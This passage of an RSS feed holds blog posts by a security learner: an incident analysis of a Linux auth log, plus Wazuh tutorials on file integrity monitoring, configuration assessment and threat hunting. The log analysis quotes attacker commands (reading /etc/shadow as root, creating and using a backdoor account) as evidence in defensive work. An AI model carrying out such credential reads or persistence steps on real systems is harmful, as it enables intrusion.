            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-10-23T02:31:01.658Z</atom:updated>
            <content:encoded><![CDATA[<p>Raw linux log analysis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdRZZfk-SUZ1QywwnpNKYA.png" /></figure><pre>Jun 17 08:12:01 web01 sshd[2141]: Failed password for admin from 185.220.101.15 port 49821 ssh2<br>Jun 17 08:12:03 web01 sshd[2143]: Failed password for admin from 185.220.101.15 port 49832 ssh2<br>Jun 17 08:12:05 web01 sshd[2144]: Failed password for admin from 185.220.101.15 port 49845 ssh2<br>Jun 17 08:12:07 web01 sshd[2145]: Failed password for admin from 185.220.101.15 port 49861 ssh2<br>Jun 17 08:12:09 web01 sshd[2147]: Failed password for admin from 185.220.101.15 port 49877 ssh2<br>Jun 17 08:12:11 web01 sshd[2148]: Accepted password for admin from 185.220.101.15 port 49889 ssh2<br>Jun 17 08:15:20 web01 sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/cat /etc/shadow<br>Jun 17 08:16:02 web01 sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/useradd backupsvc<br>Jun 17 08:16:14 web01 sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/passwd backupsvc<br>Jun 17 08:18:40 web01 sshd[2200]: Accepted password for backupsvc from 185.220.101.15 port 50121 ssh2<br>Jun 17 08:22:11 web01 sudo: backupsvc : TTY=pts/1 ; PWD=/home/backupsvc ; USER=root ; COMMAND=/bin/bash</pre><h3>Incident Summary</h3><p>A brute force attack against the admin account on host web01 resulted in successful authentication from IP 185.220.101.15. After obtaining access, the attacker accessed credential data (/etc/shadow), create an user account(backupsvc), assign a password, and later use that user account to obtain root-level access. The incident represents a confirmed host compromise with persistence established.</p><h3>Findings:</h3><p>Finding 1</p><ul><li>Multiple Failed logins against the admin account.</li><li>Failed password for admin, 5 failures in 10 seconds.</li></ul><p>Finding 2</p><ul><li>Successful login immediately after failures.</li><li>Accepted password for admin, this strongly suggests password guessing succeeded.</li></ul><p>Finding 3</p><ul><li>Attacker accessed sensitive credential data.</li><li>COMMAND=/bin/cat /etc/shadow</li><li>An attacker often dumps password hashes for Offline cracking, Credential harvesting, Privilege escalation</li></ul><p>Finding 4</p><ul><li>New account creation.</li><li>COMMAND=/usr/bin/useradd backupsvc (Attacker created persistence)</li></ul><p>Finding 5</p><ul><li>Password assigned to new account.</li><li>COMMAND=/usr/bin/passwd backupsvc (Attacker ensured the account was usable)</li></ul><p>Finding 6</p><ul><li>New account login.</li><li>Accepted password for backupsvc (This confirms persistence was successfully established)</li></ul><p>Finding 7</p><ul><li>Root shell activity.</li><li>COMMAND=/bin/bash (The attacker is now operating with elevated privileges)</li></ul><h3>Attack Timeline:</h3><p>08:12:01 — Failed SSH login for admin<br>08:12:03 — Failed SSH login for admin<br>08:12:05 — Failed SSH login for admin<br>08:12:07 — Failed SSH login for admin<br>08:12:09 — Failed SSH login for admin<br>08:12:11 — Successful SSH login for admin<br>08:15:20 — Accessed /etc/shadow<br>08:16:02 — Created account backupsvc<br>08:16:14 — Set password for backupsvc<br>08:18:40 — Logged in using backupsvc<br>08:22:11 — Obtained root shell through backupsvc</p><h3>Initial Access Evidence:</h3><p>Jun 17 08:12:11 web01 sshd[2148]: Accepted password for admin from 185.220.101.15</p><h3>Containment Recommendations:</h3><p>Immediate</p><ul><li>Disable admin account</li><li>Disable backupsvc account</li><li>Reset passwords</li><li>Terminate active SSH sessions</li><li>Block source IP 185.220.101.15</li><li>Isolate host web01 from network</li></ul><p>Investigation</p><ul><li>Check authorized_keys</li><li>Check cron jobs</li><li>Check sudoers</li><li>Check new binaries</li><li>Review bash history</li><li>Review network connections</li></ul><h3>MITRE ATT&amp;CK Mapping:</h3><ul><li>T1110: Brute Force</li><li>T1078: Valid Account</li><li>T1003.008: /etc/shadow credential access</li><li>T1136: Create Account</li><li>T1098: Account Manipulation</li><li>T1059: Command Shell</li></ul><h3>Affected Assets</h3><p>Affected Host: web01</p><p>Affected Accounts:</p><ul><li>admin</li><li>backupsvc (malicious account)</li></ul><p>Attacker IP: 185.220.101.15</p><h3>Severity Rating</h3><p>Severity: Critical</p><h3>Attacker Objective</h3><p>Maintain persistent privileged access to the system.</p><p>Evidence:</p><ul><li>useradd backupsvc</li><li>passwd backupsvc</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1971bfc16841" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Series #5: Endpoint Security Feed | File Integrity Monitoring]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-5-endpoint-security-feed-file-integrity-monitoring-75320254fe3c?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/75320254fe3c</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[file-integrity-monitoring]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 06:26:23 GMT</pubDate>
            <atom:updated>2026-08-29T06:26:23.756Z</atom:updated>
            <content:encoded><![CDATA[<p>A hands-on guide to configuring Wazuh File Integrity Monitoring, detecting file changes, and tracking who made them on a Linux endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBrCLR3kfa1s9d8Uu-7dQQ.png" /></figure><p>In the previous article, we explored Wazuh’s Configuration Assessment and how it helps identify weak security configurations on an endpoint. In this article, we’ll move to another important part of the Wazuh Endpoint Security Feed — File Integrity Monitoring (FIM).</p><p>File Integrity Monitoring is an important security capability because attackers may modify, create, or delete files on a compromised endpoint to establish persistence, deploy malicious files, or change system configurations.</p><p>In this write-up, I’ll explain what Wazuh FIM is, how it works, how to configure a directory for monitoring, and how Wazuh detects file creation, modification, and deletion. I’ll also test some useful FIM options such as check_all, report_changes, realtime, and whodata in my Ubuntu lab.</p><p>So, let’s get into the lab and see how Wazuh detects these changes in real time. 🚀</p><h3><strong>What is File Integrity Monitoring?</strong></h3><p>File integrity monitoring is a built-in security module that tracks any changes to files or directories across our endpoints.</p><p>It establishes a baseline of our system files and triggers alerts if any files are created, modified, deleted, or have their permissions changed.</p><p>FIM module uses 2 types of databases to collect FIM event data,</p><ol><li><strong>Local SQLite-based database:</strong> Placed in endpoints to store data (e.g., file creation, modification, and deletion).<br>Windows path is, <strong>C:\Program Files (x86)\ossec-agent\queue\fim\db<br></strong>Linux path is, <strong>/var/ossec/queue/fim/db</strong><br>MacOS path is, <strong>/Library/Ossec/queue/fim/db</strong></li><li><strong>Agent database:</strong> Placed on the Wazuh server, this agent database created by “wazuh-db” daemon. The path is, /var/ossec/queue/db</li></ol><h3><strong>How it works?</strong></h3><p>It calculates file checksums and attributes, stores them in a local SQLite database on the endpoint, and compares them during scans. If it detects a discrepancy from the baseline, it alerts the central Wazuh server.</p><h3><strong>Why is it used?</strong></h3><p><strong>Threat Detection:</strong> Attackers often alter system files or the Windows Registry to establish persistence or escalate privileges; FIM exposes these actions instantly.</p><p><strong>Compliance:</strong> It satisfies critical compliance and regulatory requirements (such as PCI DSS, HIPAA, and ISO 27001) by maintaining a strict audit trail of sensitive assets.</p><p><strong>Incident Response:</strong> Helps, track down insider threats and unauthorized configuration changes on monitored endpoints.</p><p>Now, let’s spin up our VMs and see how Wazuh monitor file.</p><p>I am going to spin up,</p><ul><li>Virtualbox</li><li>Windows VM (wazuh-agent)</li><li>Ubuntu server VM (wazuh-agent)</li><li>Wazuh ova (server/manager)</li></ul><h4><strong>Step 1: SSH connections</strong></h4><p>After spin up all required VMs, I do SSH connections with my ubuntu server and Wazuh-ova from Windows VM, for easy access and everything in one window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*4DSg9LQEwNEH8-DLf3zxGg.png" /><figcaption>ssh connection with wazuh server</figcaption></figure><h4><strong>Step 2: Add File path</strong></h4><p>We need to add directories in Ubuntu agent config file, so that Wazuh agent tracks those directories.</p><p>1. Go to Ubuntu endpoint/agent’s ossec.conf file,<br>sudo nano /var/ossec/etc/ossec.conf</p><p>2. Then press Ctrl+w for search File Integrity Monitoring commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*7CkQjvSMGqn_Ao5OZ1x5NA.png" /></figure><p>3. Now add the path of file which you want to monitor. For testing I made a directory (labtest) inside /home/ubuntu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*-Qqv5fnPE2VCxGYwT08Fkw.png" /></figure><p><strong>check_all: </strong>Check all important attributes of the files, not just the hash.<strong> </strong>For example, file content / checksum, file size, permissions, owner, group, modification time, inode-related information, other file attributes.</p><p><strong>report_changes: </strong>Normally, FIM can tell you “The file changed”. But after enable this option Wazuh tells what changed in the file’s content, rather that only saying that its checksum is different.</p><p><strong>realtime: </strong>Without realtime monitoring, Wazuh periodically scans the directory according to, &lt;frequency&gt;43200&lt;/frequency&gt;, which is <strong>43,200 seconds = 12 hours</strong>. But after enable this option, Wazuh uses the operating system’s filesystem notification mechanism to detect changes <strong>as they happen</strong>, rather than waiting for the next scheduled scan.</p><h4><strong>Step 3: File Monitoring</strong></h4><p>1. Create a file in monitored directory path (/home/ubuntu/&lt;file_name.txt&gt;),<br> echo “Testing” &gt; test3.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*0HrVXNzl_oSkn8Y8ScAkKA.png" /></figure><p>2. Once file created, open your browser and open your wazuh dashboard, then click on <strong>Active </strong>(top left corner) and select <strong>Ubuntu</strong> agent (labagent), then click on File Integgrity Monitoring (in the top navigation bar).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0o4oVJRt8q9m8qXTdOVow.png" /></figure><p>3. You can see in wazuh dashboard, it showing a file added, go to <strong>Events </strong>to see the alter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6RUagVZI2rR8GaoXY_x0A.png" /></figure><p>4. Now, if you want to see more details about this alert click on that blue icon (in right side of alert).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33Bn1HKa7c96DSrY-M7FOg.png" /></figure><p>Now let’s make some changes in that file and see what result would we get.</p><p>5. Open file, nano test3.txt and add a new line in that file then save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*PbgoVme20Y4uBIW6BxVWhw.png" /></figure><p>6. Go back to wazuh dashboard refresh it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URaoAU1YAmALZYBAxwfZxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NxB2i-p8s9nXANUJ19lug.png" /></figure><p>As you can see a new alert comes up and it tell file is changed/modified, for detailed view click on that right side blue icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*it3xN8vZkuRM-jR7lUzYkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*LV7KxAKOhErL3dAx447b7A.png" /></figure><p>7. Now delete that file: <strong>rm test3.txt</strong>, then go back to dashboard and refresh it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*BS9lqiNg6fX2NlRUWvvsCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLsCAaiqSNvhVQM2prZ8Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NxB2i-p8s9nXANUJ19lug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*GW1c3j3n49oFrSceG6KQWw.png" /></figure><h4><strong>Step 4: Add new folders</strong></h4><ol><li>Inside your monitored directory, make a new folder. Then go back to dashboard.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*D0-aXsOpc9IqRuZmshz2WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fVAOIci8NcnWA2W7cjyYQ.png" /></figure><p>Hmmm!!🤔, no new alters. I just add a new folder into monitored directory, so this should inform me but not why?</p><p>Actually, Wazuh FIM is primarily designed around monitoring <strong>files and their attributes/content</strong>, rather than treating an <strong>empty directory</strong> as an independent object to track.</p><p>FIM’s main purpose is detecting changes to files — content, hashes, permissions, ownership, timestamps, etc. Directories don’t have file content/hash in the same sense.</p><p>2. Create a new file inside newly created folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*6ku12ZoLRrUCKhgVj4ELeQ.png" /></figure><p>3. Now in dashboard you get alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSEwwN1NvnAxCBrOq_q7og.png" /></figure><h4><strong>Step 5: Who-data monitoring</strong></h4><p>This is an option for FIM, that we can use in our directory like we added check_all, realtime, and report_changes.</p><p>Once this option enabled it tells Wazuh FIM, tell me WHO made the change to this file.</p><p>Wazuh supports two modes for who-data monitoring on Linux endpoints:</p><p><strong>Audit Mode:</strong> This mode uses the Linux Audit subsystem to get information about who makes the changes in a monitored directory.</p><p><strong>eBPF Mode:</strong> Extended Berkeley Packet Filter (eBPF) enables developers to build programs that run securely in the Linux operating system kernel space. Who-data monitoring in eBPF mode directly extracts FIM events from programs that use eBPF.</p><p>I am going to use audit mode for this lab. To do that we need to install <strong>“audit” </strong>daemon (If you have then no need to install).</p><p>1. Check is this available in your system or not, <strong>sudo service auditd status</strong></p><p>2. If not available then install it, <strong>sudo apt install audispd-plugins</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*GtOYm0lqLEhG-5J3OCs1DQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*tB6IOoLG0m-CAktSyzS7Uw.png" /></figure><p>3. Check is it working correctly or not, sudo auditctl -l | grep task</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*Pt30-ubCjWY8bndn6Wz5MA.png" /></figure><p>If the output displays the -a never,task rule, remove it from the audit rules file located at /etc/audit/rules.d/audit.rules audit rules file.</p><p>4. Restart auditd and Wazuh agent to apply the changes:<br> sudo service auditd restart<br> sudo systemctl restart wazuh-agent</p><p>5. Now open your ossec.conf file and add <strong>whodata </strong>option, sudo nano /var/ossec/etc/ossec.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*vxWtdM1x3jx3LYdbfWjDHw.png" /></figure><p>Note: As per documentation by default, FIM module uses the audit mode, so if the &lt;provider&gt; tag is not configured it will use default.</p><p>In documentation they add:</p><pre>&lt;whodata&gt;<br>  &lt;provider&gt;audit&lt;/provider&gt;<br>&lt;/whodata&gt;</pre><p>Under &lt;directories&gt;, but when I added this, some errors occurred so I removed it.</p><p>6. Restart the wazuh agent: sudo systemctl restart wazuh-agent</p><p>7. Check the audit rule is applied to monitor the selected directory:<br> sudo auditctl -l | grep wazuh_fim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*sWbJ0DPx7WMUhqSFfbz_IA.png" /></figure><p>8. Now make some changes in previous test file or add a new file in the monitored directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QOr8aSV6SKhScY2r5SliMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*NOkDySwN0nCViG1mAgO5zA.png" /></figure><h3><strong>Conclusion</strong></h3><p>That’s it for my hands-on exploration of Wazuh File Integrity Monitoring.</p><p>In this lab, I configured Wazuh FIM to monitor a directory on my Ubuntu endpoint and tested different types of file activity, including <strong>file creation, modification, and deletion</strong>. I also explored some useful FIM options such as check_all, report_changes, and realtime.</p><p>One interesting thing I learned during this lab was that creating an <strong>empty directory</strong> inside the monitored path did not generate a FIM alert. However, once a file was created inside that directory, Wazuh detected the file activity. This was a good practical example of understanding what FIM actually monitors.</p><p>Finally, I enabled <strong>Who-data monitoring (whodata)</strong>, which adds valuable information about <strong>who performed the change and which process was involved</strong>. In the final test, Wazuh provided information such as the user, process name, process ID, and command context associated with the file modification.</p><p>From a SOC perspective, this makes FIM much more useful during an investigation. Instead of simply knowing that <em>“a file was modified,”</em> we can get additional context that can help answer <strong>what changed, when it changed, and who/process made the change.</strong></p><p>This hands-on lab gave me a much better understanding of how Wazuh FIM can be used to detect suspicious or unauthorized changes on endpoints.</p><h3>What’s next?</h3><p>In the next article, I’ll continue exploring the Wazuh Endpoint Security Feed and dive deeper into <strong>Malware Detection</strong>, with another hands-on lab and practical examples.</p><p>Thanks for reading, and I’ll see you in the next Wazuh Series! 🚀</p><h3>Connect with Me 🫡</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:<br>💼 LinkedIn: <a href="https://www.linkedin.com/in/prpradhan13">https://www.linkedin.com/in/prpradhan13</a><br>💻 GitHub: <a href="https://https//github.com/prpradhan13">https://https://github.com/prpradhan13</a><br>🌐 Portfolio: <a href="https://prprotfolio.netlify.app/">https://prprotfolio.netlify.app/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75320254fe3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Series #4: Endpoint Security Feed | Configuration Assessment]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-4-endpoint-security-feed-configuration-assessment-ca2dbb611f66?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca2dbb611f66</guid>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-08-29T05:45:44.514Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSttzhX76QBOVijgnBS3ww.png" /></figure><h3><strong>Endpoint Security Feed</strong></h3><p>The Wazuh endpoint security feed provides real-time telemetry, threat intelligence, and event aggregation. It operates through lightweight agents deployed on endpoints, streaming continuous events, like file modifications, authentication logs, and process executions, to the central Wazuh manager/server for analysis and threat detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*TDky8cxlr9CJti4WOi3CNQ.png" /></figure><blockquote>In this write up I am going to cover Configuration Assessment, rest 2 sections I will cover in next articles.</blockquote><h3><strong>Configuration Assessment</strong></h3><p>It checks whether an operating system follows security best practices. I can say it’s like an automated security audit. Wazuh compares the machine against security benchmarks and tells us what is configured incorrectly. Using this we can fix our system’s weak configurations.</p><p>Let’s go and see what weak configurations our system/endpoint has.</p><p>1. Go to Wazuh dashboard, go to <strong>Configuration Assessment.</strong></p><p>2. Right now, I don’t have any selected agents/endpoint, so select one endpoint/agent, I am going my Windows agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJwC9Y7BU8imZ1kNLMB7Jw.png" /></figure><p>Let’s understand one by one.</p><h4><strong>Policy</strong></h4><p>On left hand side buttom, we can see CIS Microsoft Windows 10 Enterprise Benchmark v4.0.0, this is the security standard Wazuh is using (generally for Windows, wazuh use CIS benchmark). Multiple policies also can be use.</p><p><strong>Note: </strong>A benchmark is nothing, simply a collection of recommended security settings.</p><p>For example, <br>For Windows 10, it contains lots of security checks such as Password policy, Windows Firewall, Windows Defender, Remote Desktop, User Account Control (UAC), Registry settings, Audit policies, BitLocker, Network security, etc.</p><h4><strong>Passed / Failed / Not Applicable</strong></h4><p>My dashboard shows, 118 passed, 301 failed, 5 not appliable.</p><p><strong>Passed: </strong>Means which settings are already follow the CIS recommendation. In the following screenshot you can see Result passed, means these recommendations are matches the benchmark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s6DvposFBYCczLQV2QcVeA.png" /></figure><p><strong>Failed: </strong>Means which settings do not meet the CIS recommendation. For example, you can see “Minimum password length = 14” But your machine password length is less than 14, that’s why Wazuh marks it as Failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlywsD4_sjw3aXhzDH0ukw.png" /></figure><p><strong>Not Applicable: </strong>This means Some checks don’t apply because the feature isn’t installed or enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VNM_QM42O8T4NvMuydVPQ.png" /></figure><p>If you want to see more information about any result, you can simply expand that result.</p><h4><strong>Score</strong></h4><p>In the Dashboard screenshot you can see my endpoint/agent’s score is 28%, which means only 28% of the applicable security recommendations are currently satisfied. And this is actually normal in my case because I freshly installed windows, CIS Benchmarks are intentionally strict, and most default Windows systems will score relatively low until they are hardened.</p><h4><strong>End Scan</strong></h4><p>This tells us when Wazuh last completed the security assessment. If we change a Windows security setting and rescan, you’ll see the timestamp update.</p><h4><strong>Checks (424)</strong></h4><p>There are 424 individual security checks. Each row represents <strong>one security recommendation</strong>.</p><p><strong>ID:</strong> Also called Rule ID, Wazuh’s unique identifier for that specific security rule.<br><strong>Rule 15500:</strong> It says, prevent users from reusing old passwords.<br><strong>Rule 15501:</strong> Users must change their passwords periodically instead of keeping the same one forever.<br><strong>Rule 15502:</strong> It says, a user can’t change their password multiple times in one day just to cycle back to the original passwor<br><strong>Rule 15503 (Failed):</strong> CIS expects 14 characters, but most Windows systems use 8 characters, that’s why it shows failed.</p><p><strong>Title: </strong>This explains what Wazuh is checking.</p><p><strong>Target: </strong>It shows how Wazuh verifies the setting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*yYlBUFL3txdhshuCfcbulQ.png" /></figure><p>For example, one row shows a PowerShell command: secedit /export /cfg … <br> Wazuh executes this command on the Windows agent/endpoint to read the current security configuration.</p><p>Other checks may inspect Windows Registry, Local Security Policy, Audit Policy, Services, Windows Features, Configuration files, etc. This let us understand exactly where the setting comes from.</p><p><strong>Result: </strong>It is simple we already understand, this tells you whether the check passed or failed.</p><h4><strong>Inventory</strong></h4><p>Inventory is a list of all available Configuration Assessment policies (benchmarks) for that selected endpoint/agent. It shows a summary for each policy: <strong>Policy name, last scan, Passed, Failed, Not Applicable, and Score</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgFa4NsCSyw_BcLl6-hFuQ.png" /></figure><p>Inventory is a list of all available Configuration Assessment policies (benchmarks) for that selected endpoint/agent. It shows a summary for each policy: <strong>Policy name, last scan, Passed, Failed, Not Applicable, and Score</strong>.</p><p>Right now, my endpoint has only 1 assessment, but you can add multiple assessment policies, such as CIS Microsoft Windows 10 Enterprise v2.x, CIS Microsoft Windows 10 Enterprise v3.x, Company Security Baseline, PCI DSS checks, NIST checks, ISO 27001 checks, etc.</p><p>You can also <strong>create your own custom SCA (Security Configuration Assessment) policies</strong> by writing YAML policy files and placing them in the Wazuh agent’s SCA policy directory.</p><p>In future article I will explain how we can create <strong>our own custom SCA policies.</strong></p><h4><strong>Events</strong></h4><p>Actual alerts generated by configuration changes or scan results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7xfpmM1P4ReZ2WWEFklFA.png" /></figure><h4><strong>How Configuration Assessment helps?</strong></h4><p>Just imagine, you’re investigating a ransomware incident, and one question might be, was this system already poorly configured before the attack?</p><p>If you will go with manual check, you might be checking firewall enabled or not, is Windows Defender active, are weak passwords allowed, is Remote Desktop securely configured, are audit logs enabled, is BitLocker enabled, etc.</p><p>Here <strong>Wazuh’s</strong> <strong>Configuration Assessment </strong>help you out. Instead of manually checking lots of settings, Wazuh provides a complete assessment.</p><h3>What’s next?</h3><p>In next article, I will explore Configuration Assessment feed’s<strong> File Integrity Monitoring </strong>section.</p><p>Thanks for reading, and I’ll see you in <strong>Wazuh Series #5: Endpoint Security Feed | File Integrity Monitoring!</strong> 🚀</p><h3>Connect with Me</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:<br>💼 LinkedIn: <a href="https://www.linkedin.com/in/prpradhan13">https://www.linkedin.com/in/prpradhan13</a><br>💻 GitHub: <a href="https://https//github.com/prpradhan13">https://https://github.com/prpradhan13</a><br>🌐 Portfolio: <a href="https://prprotfolio.netlify.app/">https://prprotfolio.netlify.app/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca2dbb611f66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Series #3: Threat Intelligence feed]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-3-threat-intelligence-feed-97324c2de69f?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/97324c2de69f</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-07-19T02:31:01.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oebnf9ywhNb5af8lqFzw_w.png" /></figure><h3><strong>Threat Intelligence Feed</strong></h3><p>Today we will see Wazuh Threat Intelligence feed. This feed refers to integration of external cyber threats data, like malicious IP addresses, URLs, malware hashes, and vulnerability details into the Wazuh XDR and SIEM platform to proactively detect and block active attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KX5TCKGqH8iUHrlsUoJVuQ.png" /></figure><p>Let’s start one by one.</p><p><strong>Threat Hunting</strong></p><p>Threat hunting is an approach that involves analyzing data sources like logs, network traffic, and endpoint data to identify and eliminate cyber threats.</p><p>The threat hunting process typically follows these four distinct steps:</p><ol><li><strong>Hypothesis Generation:</strong> It is a guess about a specific threat or vulnerability that might exist in the environment.</li><li><strong>Data Collection:</strong> Gathering the relevant logs and telemetry data needed to investigate the hypothesis.</li><li><strong>Analysis:</strong> Deeply investigating the collected data to uncover anomalies, patterns, or indicators of compromise (IOCs).</li><li><strong>Response:</strong> Taking rapid action to contain, neutralize, and eliminate the threat, and using those findings to improve automated defenses.</li></ol><p>Wazuh agents are watch out all log activities in our systems and send those logs to Wazuh manager. We can see those logs in wazuh manager as well as wazuh dashboard. In Wazuh dashboard you can see your all agent logs in one place, also you can see indivisually.</p><p>If you want to see all logs at one place,</p><p>1. Let’s first, generate some failed events and then we will check in dashboard.</p><p>2. To generate failed auth logs open your Terminal (Linux) or PowerShell (if you have ssh client in Windows), run: <br><strong>ssh &lt;ubuntu-username&gt;@&lt;ubuntu-ip&gt;</strong>, and enter wrong passwords several times (you can also do brute force attack but for learning pov I choose this way).</p><p>3. Now time for windows, quick and easy way is just lock your Windows VM screen and enter wrong password for several time (you can also do RDP brute force attack).</p><p>4. Next is, Open Wazuh dashboard, you can see in <strong>Threat Intelligence Feed &gt; Threat Hunting </strong>at home page or you can navigate <strong>Menu bar &gt; Threat Intelligence &gt; Threat Hunting &gt; Events.</strong></p><p>In my case I have 2 agents (windows &amp; ubuntu), initially only Ubuntu agent logs are shown, then I see my ubuntu-agent (labagent) is pined (top right corner, explore agent), just simply unpin and both agent’s logs are visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyGxzXT0E2xRsbbToP4l4A.png" /></figure><p>As I previously mentioned you can see individual agent’s logs, and you want to see only a specific agent’s logs, there are several ways.</p><p>1. You can pin your agent like I mentioned above <strong>Explore agent &gt; Select your agent</strong></p><p>2. You can use filter option, on <strong>Threat Hunting page &gt; Add filter</strong>, <strong>Field:</strong> agent.name, <strong>Operator: </strong>is, <strong>Value:</strong> agent-name</p><p>3. On Wazuh dashboard home page<strong> Active &gt; Click on agent &gt; Threat Hunting &gt; Events.</strong></p><h3><strong>Vulnerability Detetion</strong></h3><p>This is an automated process that identifies known software flaws on our endpoint. Wazuh manager analyzes <strong>System Inventory data</strong> and checks for any known flaws/vulnerability by correlating those with <strong>Wazuh Cyber Threat Intelligence (CTI) platform</strong>. If a match found (identified by a CVE ID), it flags as a detected vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJgPhBugKgxktkfAvoz17A.png" /></figure><p>We can see all findings in Wazuh dashboard, click on <strong>Vulnerability Detection</strong>.</p><ul><li>In <strong>Dashboard</strong> we can see quick insights of our agents/endpoints.</li><li>If you want detailed view of your endpoint, check out <strong>Inventory</strong> section.</li><li><strong>Events </strong>tab shows the real-time security alerts, generated when a vulnerability’s status changes on our endpoints.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ck084FNK7KgM6mAYvkHGg.png" /></figure><p>In the above screenshot I am looking my windows endpoint.</p><h3><strong>MITRE ATT&amp;CK</strong></h3><p>The <strong>Wazuh MITRE ATT&amp;CK dashboard</strong> is an integrated module within the Wazuh Dashboard that maps security alerts to the globally recognized MITRE ATT&amp;CK framework. It visualizes adversary tactics (the “why”) and techniques (the “how”) to help security teams quickly understand and mitigate threats.</p><p>Key Features and Tabs,<br><strong>Dashboard: </strong>It summarizes all security events and displays a quick and high-level top view of attack techniques active in our agent/endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQO6oVNwZYVVmwH2USpKJQ.png" /></figure><p><strong>Intelligence: </strong>This tab provides detailed context on specific threat actors, the tactics/techniques they use, and recommended mitigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HzPHsdQqCbJ3KGtvN3O8A.png" /></figure><p><strong>Framework:</strong> This tab helps threat hunters narrow down compromised endpoints or IoC by specific attack techniques.</p><figure><img alt="" 